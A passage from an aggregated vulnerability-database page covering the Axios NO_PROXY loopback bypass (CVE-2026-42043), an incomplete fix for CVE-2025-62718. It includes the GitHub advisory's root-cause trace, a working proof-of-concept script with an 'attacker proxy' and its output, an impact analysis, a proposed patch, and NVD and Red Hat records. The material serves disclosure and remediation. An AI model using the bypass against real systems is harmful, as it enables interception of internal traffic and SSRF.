^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n//      If both sides are \"loopback\" \u2192 treat as match\n```\n\n**Fix C Normalization Applied on Both Sides (Lines 81 \u0026 90)**\n\n```\n// Request hostname normalized:\nconst hostname = normalizeNoProxyHost(parsed.hostname.toLowerCase());\n// Each NO_PROXY entry normalized:\nentryHost = normalizeNoProxyHost(entryHost);\n```\n\n**2.5 The Incomplete Patch Exact Root Cause**\nThe fundamental flaw resides in Line 1:\n\n```\n// lib/helpers/shouldBypassProxy.js \u2014 Line 1  \u2190 ROOT CAUSE\nconst LOOPBACK_ADDRESSES = new Set([\u0027localhost\u0027, \u0027127.0.0.1\u0027, \u0027::1\u0027]);\n//                                              ^^^^^^^^^^^\n//                              Only ONE IPv4 loopback address is recognized.\n//                              The entire 127.0.0.0/8 subnet is unaccounted for.\n// Line 3 \u2014 Lookup against this incomplete set:\nconst isLoopback = (host) =\u003e LOOPBACK_ADDRESSES.has(host);\n//                                               ^^^^^^^^^\n//                          Returns FALSE for any 127.x.x.x \u2260 127.0.0.1\n```\n\u003cimg width=\"884\" height=\"135\" alt=\"02_vulnerable_code_loopback_addresses\" src=\"https://github.com/user-attachments/assets/ba06b91e-a2d2-4a99-9e1f-8c8bfbb6d71e\" /\u003e\n\n***RFC 1122 \u00a73.2.1.3 is unambiguous:**\n\n\u003e \"The address 127.0.0.0/8 is assigned for loopback. A datagram sent by a higher-level protocol to a loopback address MUST NOT appear on any network.\"\n\nThis means all addresses from `127.0.0.1` through `127.255.255.254` are valid loopback addresses on any RFC-compliant operating system. On Linux, the entire `/8` block is routed to the `lo` interface by default. The patch recognises only `127.0.0.1`, leaving `16,777,213` valid loopback addresses unprotected.\n\n\u003cimg width=\"884\" height=\"537\" alt=\"03_rfc1122_loopback_definition\" src=\"https://github.com/user-attachments/assets/951eabb4-2ec6-40ef-ad00-1fd5b9aed2d0\" /\u003e\n\n**2.6 Step-by-Step Bypass Execution Trace**\nEnvironment:\n\n```\nNO_PROXY   = \"localhost,127.0.0.1,::1\"\nHTTP_PROXY = \"http://attacker-proxy:5300\"\nTarget URL = \"http://127.0.0.2:9191/internal-api\"\n```\n**Annotated execution of shouldBypassProxy(\"http://127.0.0.2:9191/internal-api\"):**\n\n```\n// Step 1 \u2014 Parse the request URL\nparsed   = new URL(\"http://127.0.0.2:9191/internal-api\")\nhostname = \"127.0.0.2\"    // parsed.hostname\n// Step 2 \u2014 Read NO_PROXY environment variable\nnoProxy  = \"localhost,127.0.0.1,::1\"   // lowercased\n// Step 3 \u2014 Normalize the request hostname\nhostname = normalizeNoProxyHost(\"127.0.0.2\")\n//          No brackets \u2192 skip\n//          No trailing dot \u2192 skip\n//          Result: \"127.0.0.2\"  (unchanged)\n// Step 4 \u2014 Iterate over NO_PROXY entries\n//  Entry \u2192 \"localhost\"\nentryHost = \"localhost\"\n\"127.0.0.2\" === \"localhost\"                  \u2192 false\nisLoopback(\"127.0.0.2\")                      \u2192 false  \u2190 Set.has() returns false\n                                                          BYPASS starts here\n//  Entry \u2192 \"127.0.0.1\"\nentryHost = \"127.0.0.1\"\n\"127.0.0.2\" === \"127.0.0.1\"                 \u2192 false\nisLoopback(\"127.0.0.2\") \u0026\u0026 isLoopback(\"127.0.0.1\")\n  \u2192 LOOPBACK_ADDRESSES.has(\"127.0.0.2\")     \u2192 false  \u2190 Same failure\n  \u2192 false\n//  Entry \u2192 \"::1\"\nentryHost = \"::1\"\n\"127.0.0.2\" === \"::1\"                        \u2192 false\nisLoopback(\"127.0.0.2\") \u0026\u0026 isLoopback(\"::1\")\n  \u2192 LOOPBACK_ADDRESSES.has(\"127.0.0.2\")     \u2192 false  \u2190 Same failure\n  \u2192 false\n// Step 5 \u2014 Final return\nshouldBypassProxy() \u2192 false\n//  Axios proceeds to route the request through the configured proxy.\n//  The attacker\u0027s proxy server receives the full request including headers\n//  and any response from the internal service.\n```\n\n**2.7 Why the Patch Design Is Flawed**\nThe patch addresses the **symptom** (two specific alternate representations) rather than the **root cause** (an incomplete definition of what constitutes a loopback address).\n\n| Aspect | Original Bug | This Finding |\n| ------------- | ------------- | ------------- |\n| What was wrong | No normalization before comparison | Incomplete loopback address set|\n| Fix applied | Added normalizeNoProxyHost() | None set remains hardcoded |\n| RFC compliance | Violated RFC 1034 \u0026 RFC 3986 | Violates RFC 1122 \u00a73.2.1.3 |\n| Bypass method | Alternate string representation | Alternate valid loopback address |\n| Impact | NO_PROXY bypass \u2192 SSRF | NO_PROXY bypass \u2192 SSRF (identical) |\n\n```\n**2.8 Total Exposed Address Space**\nProtected by patch:    127.0.0.1          (1 address)\nUnprotected loopback:  127.0.0.2\n                       through\n                       127.255.255.254    (16,777,213 addresses)\n```\nReal-world services that commonly bind to non-standard loopback addresses include:\n\n* Internal microservices and admin dashboards using dedicated loopback IPs\n* Development environments with multiple isolated service instances\n* Docker and container bridge network configurations\n* Test infrastructure allocating sequential loopback IPs across services\n\n**3. Comprehensive Attack Vector \u0026 Proof of Concept**\n\n**3.1 Reproduction Steps**\n\nStep 1 \u2014 Create a fresh project directory\n```\nmkdir axios-bypass-test \u0026\u0026 cd axios-bypass-test\n```\n**Step 2 \u2014 Initialize the project with the patched Axios version**\nCreate `package.json`:\n\n```\n{\n  \"type\": \"module\",\n  \"dependencies\": {\n    \"axios\": \"1.15.0\"\n  }\n}\n```\nInstall dependencies:\n\n```\nnpm install\n```\nVerify the installed version:\n\n```\nnpm list axios\n# Expected output: axios@1.15.0\n```\n\n**Step 3 \u2014 Create the PoC file (`poc.js`)**\n\n```\nimport http from \u0027http\u0027;\nimport axios from \u0027axios\u0027;\n// \u2500\u2500 Simulated attacker-controlled proxy server \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\nconst PROXY_PORT = 5300;\nhttp.createServer((req, res) =\u003e {\n  console.log(\u0027\\n[!] PROXY HIT \u2014 Attacker proxy received request!\u0027);\n  console.log(`    Method : ${req.method}`);\n  console.log(`    URL    : ${req.url}`);\n  console.log(`    Host   : ${req.headers.host}`);\n  res.writeHead(200);\n  res.end(\u0027proxied\u0027);\n}).listen(PROXY_PORT);\n// \u2500\u2500 Simulated developer security configuration \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n// Developer believes all loopback traffic is protected by NO_PROXY.\nprocess.env.HTTP_PROXY = `http://127.0.0.1:${PROXY_PORT}`;\nprocess.env.NO_PROXY   = \u0027localhost,127.0.0.1,::1\u0027;\n// \u2500\u2500 Test helper \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\nasync function test(url) {\n  console.log(`\\n[*] Testing: ${url}`);\n  try {\n    const res = await axios.get(url, { timeout: 2000 });\n    if (res.data === \u0027proxied\u0027) {\n      console.log(\u0027    Result \u2192 [PROXIED]  \u2190 BYPASS CONFIRMED\u0027);\n    } else {\n      console.log(\u0027    Result \u2192 [DIRECT]   \u2190 Safe, no proxy used\u0027);\n    }\n  } catch (err) {\n    if (err.code === \u0027ECONNREFUSED\u0027) {\n      console.log(\u0027    Result \u2192 [DIRECT]   \u2190 ECONNREFUSED (request did not go through proxy)\u0027);\n    }\n  }\n}\n// \u2500\u2500 Test execution \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\nsetTimeout(async () =\u003e {\n  // Section A: Cases fixed by the existing patch \u2014 expected to go DIRECT\n  console.log(\u0027\\n=== PATCHED CASES (Expected: All requests bypass the proxy) ===\u0027);\n  await test(\u0027http://localhost:9191/secret\u0027);\n  await test(\u0027http://localhost.:9191/secret\u0027);\n  await test(\u0027http://[::1]:9191/secret\u0027);\n  // Section B: Bypass cases \u2014 expected to go DIRECT, but actually go through proxy\n  console.log(\u0027\\n=== BYPASS CASES (Expected: bypass proxy | Actual: routed through proxy) ===\u0027);\n  await test(\u0027http://127.0.0.2:9191/secret\u0027);\n  await test(\u0027http://127.0.0.100:9191/secret\u0027);\n  await test(\u0027http://127.1.2.3:9191/secret\u0027);\n  process.exit(0);\n}, 500);\n```\n\n**Step 4 \u2014 Execute the PoC**\n\n```\nnode poc.js\n```\n\n**3.2 Observed Output**\nThe following output was captured during testing on Kali Linux with Axios 1.15.0:\n\n```\n=== PATCHED CASES (Expected: All requests bypass the proxy) ===\n[*] Testing: http://localhost:9191/secret\n    Result \u2192 [DIRECT]   \u2190 ECONNREFUSED (request did not go through proxy)  \n[*] Testing: http://localhost.:9191/secret\n    Result \u2192 [DIRECT]   \u2190 ECONNREFUSED (request did not go through proxy)  \n[*] Testing: http://[::1]:9191/secret\n    Result \u2192 [DIRECT]   \u2190 ECONNREFUSED (request did not go through proxy)  \n=== BYPASS CASES (Expected: bypass proxy | Actual: routed through proxy) ===\n[*] Testing: http://127.0.0.2:9191/secret\n[!] PROXY HIT \u2014 Attacker proxy received request!\n    Method : GET\n    URL    : http://127.0.0.2:9191/secret\n    Host   : 127.0.0.2:9191\n    Result \u2192 [PROXIED]  \u2190 BYPASS CONFIRMED                                 \n[*] Testing: http://127.0.0.100:9191/secret\n[!] PROXY HIT \u2014 Attacker proxy received request!\n    Method : GET\n    URL    : http://127.0.0.100:9191/secret\n    Host   : 127.0.0.100:9191\n    Result \u2192 [PROXIED]  \u2190 BYPASS CONFIRMED                                 \n[*] Testing: http://127.1.2.3:9191/secret\n[!] PROXY HIT \u2014 Attacker proxy received request!\n    Method : GET\n    URL    : http://127.1.2.3:9191/secret\n    Host   : 127.1.2.3:9191\n    Result \u2192 [PROXIED]  \u2190 BYPASS CONFIRMED                                 \n```\n\u003cimg width=\"1621\" height=\"739\" alt=\"05_poc_execution_bypass_confirmed\" src=\"https://github.com/user-attachments/assets/6caf9f7a-36ed-4feb-b9f3-f82532da2de7\" /\u003e\n\n**3.3 Analysis of Results**\nThe output conclusively demonstrates the following:\n\n**Patched cases behave correctly:** Requests to `localhost`, `localhost.` (trailing dot), and `[::1]` (bracketed IPv6) all result in a direct connection, confirming that the existing patch in Axios 1.15.0 correctly handles the cases reported in GHSA-3p68-rc4w-qgx5.\n\n**Bypass cases confirm the incomplete patch:** Requests to `127.0.0.2`, `127.0.0.100`, and `127.1.2.3` all of which are valid loopback addresses within the `127.0.0.0/8` subnet as defined by `RFC 1122 \u00a73.2.1.3` are transparently forwarded to the attacker-controlled proxy server. The proxy receives the full request including the HTTP method, target URL, and `Host` header, demonstrating that any response from an internal service bound to these addresses would be fully intercepted.\n\nThis confirms that the `NO_PROXY` protection configured by the developer (`localhost,127.0.0.1,::1`) fails silently for the entire `127.0.0.0/8` address range beyond `127.0.0.1`, providing a reproducible and reliable bypass of the security control introduced by the patch.\n\n**4. Impact Assessment**\nThis vulnerability is a **security control bypass** specifically an incomplete patch that allows an attacker to circumvent the `NO_PROXY` protection mechanism in Axios by using any loopback addresses within the `127.0.0.0/8` subnet other than `127.0.0.1`. The result is that traffic intended to remain private and direct is silently intercepted by a configured proxy server.\n\n**4.1 Who Is Impacted?**\n\nPrimary Target \u2014 Node.js Backend Applications\nAny Node.js application that meets **all three of the following conditions** is vulnerable:\n\n```\nCondition 1:  Uses Axios 1.15.0 (latest patched) for HTTP requests\nCondition 2:  Has HTTP_PROXY or HTTPS_PROXY set in its environment\n              (common in corporate networks, cloud deployments,\n               containerised environments, and CI/CD pipelines)\nCondition 3:  Relies on NO_PROXY=localhost,127.0.0.1,::1 (or similar)\n              to protect loopback or internal services from proxy routing\n```\n**Affected Deployment Environments**\n| Environment | Risk Level |\n| ------------- | ------------- |\n| Cloud-hosted applications (AWS, GCP, Azure) | Critical| \n| Containerised microservices (Docker, Kubernetes) | Critical| \n| Corporate networks with mandatory proxy | High| \n| CI/CD pipelines with proxy environment variables | High| \n| On-premise servers with internal proxy | High| \n\n**Scale of Exposure**\nAxios is one of the most widely used HTTP client libraries in the JavaScript ecosystem, with over **500 million weekly downloads** on npm. Any application in the above categories using Axios 1.15.0 is affected, regardless of whether the developer is aware of the underlying proxy routing logic.\n\n**4.3 Impact Details**\n\n**Impact 1 Silent Interception of Internal Service Traffic**\n\nWhen an application makes a request to an internal loopback service using a non-standard loopback address (e.g., `http://127.0.0.2/admin`), Axios silently routes the request through the configured proxy instead of connecting directly.\n\n```\nDeveloper expects:    Application \u2192 127.0.0.2:8080 (direct)\nActual behaviour:     Application \u2192 Attacker Proxy \u2192 127.0.0.2:8080\nThe proxy receives:\n  - Full request URL\n  - HTTP method\n  - All request headers (including Authorization, Cookie, API keys)\n  - Request body (for POST/PUT requests)\n  - Full response from the internal service\n```\nThe developer receives no error or warning. From the application\u0027s perspective, the request succeeds normally.\n\n**Impact 2 \u2014 SSRF Mitigation Bypass**\nMany applications implement SSRF protections by configuring `NO_PROXY` to prevent requests to loopback addresses from being forwarded externally. This bypass defeats that protection entirely for any loopback address beyond `127.0.0.1`.\n\n```\nSSRF Protection (as configured by developer):\n  NO_PROXY = localhost,127.0.0.1,::1\nWhat developer believes is protected:\n  All loopback/internal addresses\nWhat is actually protected:\n  Only: localhost, 127.0.0.1, ::1 (3 of 16,777,216 loopback addresses)\nWhat remains exposed:\n  127.0.0.2 through 127.255.255.254 (16,777,213 addresses)\n```\nAn attacker who can influence the target URL of an Axios request through user-supplied input, redirect chains, or other SSRF vectors can exploit this gap to reach internal services that the developer explicitly intended to protect.\n\n**Impact 3 \u2014 Cloud Metadata Service Exposure**\nIn cloud environments (AWS, GCP, Azure), SSRF vulnerabilities are particularly severe because they can be used to access the instance metadata service and retrieve IAM credentials, enabling full cloud account compromise.\n\nWhile the AWS IMDSv2 service is reachable at `169.254.169.254` (not a loopback address), many cloud deployments run internal metadata proxies, credential servers, or service discovery endpoints bound to non-standard loopback addresses within the `127.0.0.0/8` range. An attacker reaching any of these services through the bypass could:\n\n* Retrieve temporary IAM credentials\n* Access environment variables containing secrets\n* Enumerate internal service configurations\n* Pivot to other internal services via the compromised credentials\n\n**Impact 4 \u2014 Confidential Data Exfiltration**\nAny internal service binding to a `127.x.x.x` address other than `127.0.0.1` is fully exposed. This includes:\n\n| Internal Service Type | Exposed Data |\n| ------------- | ------------- |\n| Admin panels / dashboards | User data, configuration, logs | \n| Internal APIs | Business logic, database contents | \n| Secret managers / vaults | API keys, tokens, certificates | \n| Health check endpoints | Infrastructure topology | \n| Development services | Source code, environment variables | \n\n**Impact 5 \u2014 No Indication of Compromise**\nA particularly dangerous characteristic of this vulnerability is that it is **completely silent** neither the application nor the developer receives any indication that requests are being routed incorrectly. There are no error messages, no exceptions thrown, and no changes in application behaviour. The proxy interception is entirely transparent from the application\u0027s perspective, making detection extremely difficult without active network monitoring.\n\n**4.4 Comparison with Original Vulnerability**\n\n| Internal Service Type | Exposed Data | Exposed Data |\n| ------------- | ------------- | ------------- |\n| Attack method | Use localhost. or [::1]| Use any 127.x.x.x \u2260 127.0.0.1 | \n| Patch status | Fixed in 1.15.0 | Not fixed in 1.15.0 | \n| CVSS score | 9.3 Critical | 9.9 Critical or (equivalent) | \n| Attacker effort| Trivial | Trivial | \n| Detection by developer | None | None | \n| Impact | SSRF / proxy bypass | SSRF / proxy bypass (identical) | \n\nThe severity of this finding is equivalent to the original vulnerability because the attack conditions, exploitation technique, and resulting impact are identical. The only difference is the specific input used to trigger the bypass, which the existing patch completely fails to address.\n\n**5. Technical Remediation \u0026 Proposed Fix**\n\n**5.1 Vulnerable Code Block**\n\nThe vulnerability resides in `lib/helpers/shouldBypassProxy.js` at lines 1\u20133. The following is the exact code extracted from Axios 1.15.0:\n\n```\n// lib/helpers/shouldBypassProxy.js \u2014 Axios 1.15.0\n// Lines 1\u20133 (VULNERABLE)\nconst LOOPBACK_ADDRESSES = new Set([\u0027localhost\u0027, \u0027127.0.0.1\u0027, \u0027::1\u0027]);\nconst isLoopback = (host) =\u003e LOOPBACK_ADDRESSES.has(host);\n```\nThis hardcoded `Set` is subsequently used at line 108 during the final NO_PROXY match evaluation:\n\n```\n// lib/helpers/shouldBypassProxy.js \u2014 Line 108 (VULNERABLE USAGE)\nreturn hostname === entryHost || (isLoopback(hostname) \u0026\u0026 isLoopback(entryHost));\n//                                ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n// isLoopback(\"127.0.0.2\") \u2192 LOOPBACK_ADDRESSES.has(\"127.0.0.2\") \u2192 FALSE\n// This causes the match to fail for any 127.x.x.x address beyond 127.0.0.1\n```\n**Why this is dangerous:** The `Set` performs a strict membership check. Any IPv4 loopback address outside the three hardcoded entries returns `false`, causing `shouldBypassProxy()` to return `false` and silently route the request through the configured proxy.\n\n**5.2 Proposed Patched Code**\nReplace lines 1\u20133 in `lib/helpers/shouldBypassProxy.js` with the following RFC-compliant implementation:\n\n```\n// lib/helpers/shouldBypassProxy.js\n// Lines 1\u20133 (PROPOSED FIX \u2014 RFC 1122 \u00a73.2.1.3 Compliant)\nconst isLoopback = (host) =\u003e {\n  // Named loopback hostname\n  if (host === \u0027localhost\u0027) return true;\n  // IPv6 loopback address\n  if (host === \u0027::1\u0027) return true;\n  // Full IPv4 loopback subnet: 127.0.0.0/8 (RFC 1122 \u00a73.2.1.3)\n  // Matches any address from 127.0.0.0 through 127.255.255.254\n  const parts = host.split(\u0027.\u0027);\n  return (\n    parts.length === 4 \u0026\u0026\n    parts[0] === \u0027127\u0027 \u0026\u0026\n    parts.every((p) =\u003e /^\\d+$/.test(p) \u0026\u0026 Number(p) \u003e= 0 \u0026\u0026 Number(p) \u003c= 255)\n  );\n};\n```\n**5.3 Diff View \u2014 Before vs After**\n\n```\n// lib/helpers/shouldBypassProxy.js\n- const LOOPBACK_ADDRESSES = new Set([\u0027localhost\u0027, \u0027127.0.0.1\u0027, \u0027::1\u0027]);\n-\n- const isLoopback = (host) =\u003e LOOPBACK_ADDRESSES.has(host);\n+ const isLoopback = (host) =\u003e {\n+   if (host === \u0027localhost\u0027) return true;\n+   if (host === \u0027::1\u0027) return true;\n+   const parts = host.split(\u0027.\u0027);\n+   return (\n+     parts.length === 4 \u0026\u0026\n+     parts[0] === \u0027127\u0027 \u0026\u0026\n+     parts.every((p) =\u003e /^\\d+$/.test(p) \u0026\u0026 Number(p) \u003e= 0 \u0026\u0026 Number(p) \u003c= 255)\n+   );\n+ };\n```\nAll other code in `shouldBypassProxy.js` remains unchanged. No other files require modification.\n\n**5.4 Why This Fix Must Be Applied**\n\n**Reason 1 \u2014 RFC 1122 Compliance**\n\nThe current implementation violates **RFC 1122 \u00a73.2.1.3**, which defines the entire `127.0.0.0/8` block as the IPv4 loopback address range not just the single address `127.0.0.1`. The proposed fix aligns Axios with the standard, ensuring that all valid loopback addresses are recognised and handled consistently.\n\n```\nRFC 1122 \u00a73.2.1.3:\n\"The address 127.0.0.0/8 is assigned for loopback.\n A datagram sent by a higher-level protocol to a loopback\n address MUST NOT appear on any network.\"\nCurrent fix covers  :  3 addresses (localhost, 127.0.0.1, ::1)\nProposed fix covers :  16,777,216 addresses (entire 127.0.0.0/8 + loopback names)\n```\n\n**Reason 2 \u2014 The Existing Patch Has Already Failed Once**\n\nThe patch for GHSA-3p68-rc4w-qgx5 was released with the explicit intent of securing NO_PROXY hostname matching for loopback addresses. Within the same release (1.15.0), the protection can be bypassed by substituting `127.0.0.1` with any other address in the `127.0.0.0/8` range. Leaving this gap unaddressed means that the patch creates a **false sense of security** developers believe their loopback traffic is protected when it is not.\n\n**Reason 3 \u2014 Real Operating System Behaviour**\nOn Linux the dominant platform for Node.js server deployments the kernel routes the **entire `127.0.0.0/8` subnet** to the loopback interface `lo` by default. This means any address in that range functions identically to `127.0.0.1` at the networking level.\n\n```\n# Linux routing table \u2014 default configuration\n$ ip route show table local | grep \"127\"\nlocal 127.0.0.0/8 dev lo proto kernel scope host src 127.0.0.1\n# Proof: 127.0.0.2 is a valid loopback address on Linux\n$ ping -c 1 127.0.0.2\nPING 127.0.0.2: 56 data bytes\n64 bytes from 127.0.0.2: icmp_seq=0 ttl=64 time=0.045 ms\n```\n\n\u003cimg width=\"711\" height=\"181\" alt=\"04_linux_loopback_subnet_proof\" src=\"https://github.com/user-attachments/assets/fd0f8430-37c5-4597-b2d9-8e27e479d7b2\" /\u003e\n\nAxios\u0027s current implementation does not reflect this operating system behaviour, resulting in an inconsistency between what the OS considers loopback and what Axios treats as loopback.\n\n\u003cimg width=\"588\" height=\"198\" alt=\"06_ping_127 0 0 2_loopback_confirmed\" src=\"https://github.com/user-attachments/assets/23bf1ab8-1bd6-4f39-88a7-93c518d72990\" /\u003e\n\n**Reason 4 \u2014 The Proposed Fix Has Zero Performance Impact**\nThe existing solution uses a `Set.has()` lookup an O(1) operation. The proposed fix replaces this with:\n\n1. Two direct string comparisons (`\u0027localhost\u0027`, `\u0027::1\u0027`) \u2014 O(1)\n2. A `split(\u0027.\u0027)` and array validation \u2014 O(1) with a fixed-length array of 4 elements\nThe computational cost is **equivalent or lower** than the current approach, and the fix introduces no new external dependencies.\n\n**Reason 5 \u2014 The Fix Is Minimal and Surgical**\nThe proposed change modifies only **3 lines** of a single file. It does not alter:\n\n* The `parseNoProxyEntry()` function\n* The `normalizeNoProxyHost()` function\n* The `shouldBypassProxy()` main function logic\n* Any other file in the codebase\n \nThis minimises regression risk and makes the fix straightforward to review, test, and backport to older supported branches.\n\n**Reason 6 \u2014 Resilient to Alternative IP Encodings**\nBecause Axios normalises the request URL using Node\u0027s native `new URL()` parser before passing it to `shouldBypassProxy()`, alternative IP encodings (such as octal `0177.0.0.1`, hex `0x7f.0.0.1`, or integer `2130706433`) are already resolved into their standard IPv4 dotted-decimal format. This means the proposed `.split(\u0027.\u0027)` validation logic is completely robust and cannot be bypassed using URL-encoded IP obfuscation techniques.\n\n**5.5 Additional Recommendation \u2014 IPv6 Loopback Range**\n\nWhile the primary bypass demonstrated in this report targets the IPv4 `127.0.0.0/8` range, the Axios team should also consider validating the full IPv6 loopback representation. The current implementation recognises only `::1`. A more complete check would also handle the full-form notation:\n\n```\n// Additional IPv6 loopback representations to consider:\n\u00270:0:0:0:0:0:0:1\u0027      // Full notation of ::1\n\u0027::ffff:127.0.0.1\u0027     // IPv4-mapped IPv6 loopback\n\u0027::ffff:7f00:1\u0027        // Hex IPv4-mapped IPv6 loopback\n```\nNormalising these representations before comparison would make the NO_PROXY implementation comprehensively RFC-compliant across both IPv4 and IPv6 address families.",
  "id": "GHSA-pmwg-cvhr-8vh7",
  "modified": "2026-05-05T00:20:58Z",
  "published": "2026-05-05T00:20:58Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/axios/axios/security/advisories/GHSA-pmwg-cvhr-8vh7"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42043"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/axios/axios"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Axios: Incomplete Fix for CVE-2025-62718 \u2014 NO_PROXY Protection Bypassed via RFC 1122 Loopback Subnet (127.0.0.0/8) in Axios 1.15.0"
}

FKIE_CVE-2026-42043

Vulnerability from fkie_nvd - Published: 2026-04-24 18:16 - Updated: 2026-04-27 20:05

Severity ?

7.2 (High) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
10.0 (Critical) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N

Summary

References

	URL	Tags
	security-advisories@github.com	https://github.com/axios/axios/security/advisories/GHSA-pmwg-cvhr-8vh7	Exploit, Mitigation, Vendor Advisory
	134c704f-9b21-4f2e-91b3-4a467353bcc0	https://github.com/axios/axios/security/advisories/GHSA-pmwg-cvhr-8vh7	Exploit, Mitigation, Vendor Advisory

Impacted products

	Vendor	Product	Version
	axios	axios	*
	axios	axios	*

JSON

To clipboard

{
  "configurations": [
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:a:axios:axios:*:*:*:*:*:node.js:*:*",
              "matchCriteriaId": "7D2B28C9-026E-4CD6-BD17-7EDD42108106",
              "versionEndExcluding": "0.31.1",
              "vulnerable": true
            },
            {
              "criteria": "cpe:2.3:a:axios:axios:*:*:*:*:*:node.js:*:*",
              "matchCriteriaId": "3EC1EF30-EBB8-410B-90FB-1F18A3545C2E",
              "versionEndExcluding": "1.15.1",
              "versionStartIncluding": "1.0.0",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ]
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "Axios is a promise based HTTP client for the browser and Node.js. Prior to 1.15.1 and 0.31.1, an attacker who can influence the target URL of an Axios request can use any address in the 127.0.0.0/8 range (other than 127.0.0.1) to completely bypass the NO_PROXY protection. This vulnerability is due to an incomplete for CVE-2025-62718, This vulnerability is fixed in 1.15.1 and 0.31.1."
    }
  ],
  "id": "CVE-2026-42043",
  "lastModified": "2026-04-27T20:05:04.370",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "NONE",
          "baseScore": 7.2,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "LOW",
          "integrityImpact": "LOW",
          "privilegesRequired": "NONE",
          "scope": "CHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N",
          "version": "3.1"
        },
        "exploitabilityScore": 3.9,
        "impactScore": 2.7,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      },
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "NONE",
          "baseScore": 10.0,
          "baseSeverity": "CRITICAL",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "HIGH",
          "privilegesRequired": "NONE",
          "scope": "CHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N",
          "version": "3.1"
        },
        "exploitabilityScore": 3.9,
        "impactScore": 5.8,
        "source": "nvd@nist.gov",
        "type": "Primary"
      }
    ]
  },
  "published": "2026-04-24T18:16:31.457",
  "references": [
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Exploit",
        "Mitigation",
        "Vendor Advisory"
      ],
      "url": "https://github.com/axios/axios/security/advisories/GHSA-pmwg-cvhr-8vh7"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "tags": [
        "Exploit",
        "Mitigation",
        "Vendor Advisory"
      ],
      "url": "https://github.com/axios/axios/security/advisories/GHSA-pmwg-cvhr-8vh7"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Analyzed",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-183"
        },
        {
          "lang": "en",
          "value": "CWE-441"
        },
        {
          "lang": "en",
          "value": "CWE-918"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

RHSA-2026:14937

Vulnerability from csaf_redhat - Published: 2026-05-07 21:30 - Updated: 2026-05-07 22:05

Summary

Red Hat Security Advisory: A Subscription Management tool for finding and reporting Red Hat product usage

Severity

Important

Notes

Topic: A Subscription Management tool for finding and reporting Red Hat product usage

Details: Red Hat Discovery, also known as Discovery, is an inspection and reporting tool that finds, identifies, and reports environment data, or facts, such as the number of physical and virtual systems on a network, their operating systems, and relevant configuration data stored within them. Discovery also identifies and reports more detailed facts for some versions of key Red Hat packages and products that it finds in the network.

Terms of Use: This content is licensed under the Creative Commons Attribution 4.0 International License (https://creativecommons.org/licenses/by/4.0/). If you distribute this content, or a modified version of it, you must provide attribution to Red Hat Inc. and provide a link to the original.

CVE-2025-62718

A flaw was found in Axios, a promise-based HTTP client. This vulnerability occurs because Axios does not correctly handle hostname normalization when evaluating NO_PROXY rules. An attacker can exploit this by crafting requests to loopback addresses (e.g., localhost. or [::1]) which bypass the NO_PROXY configuration and are routed through the configured proxy. This can lead to Server-Side Request Forgery (SSRF) vulnerabilities, enabling attackers to access sensitive internal or loopback services that should otherwise be protected.

7.0 (High)


                        
                          CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:L

CWE-1289 - Improper Validation of Unsafe Equivalence in Input

Vendor Fix The containers required to run Discovery can be installed through discovery-installer RPM. See the official documentation for more details. https://access.redhat.com/errata/RHSA-2026:14937

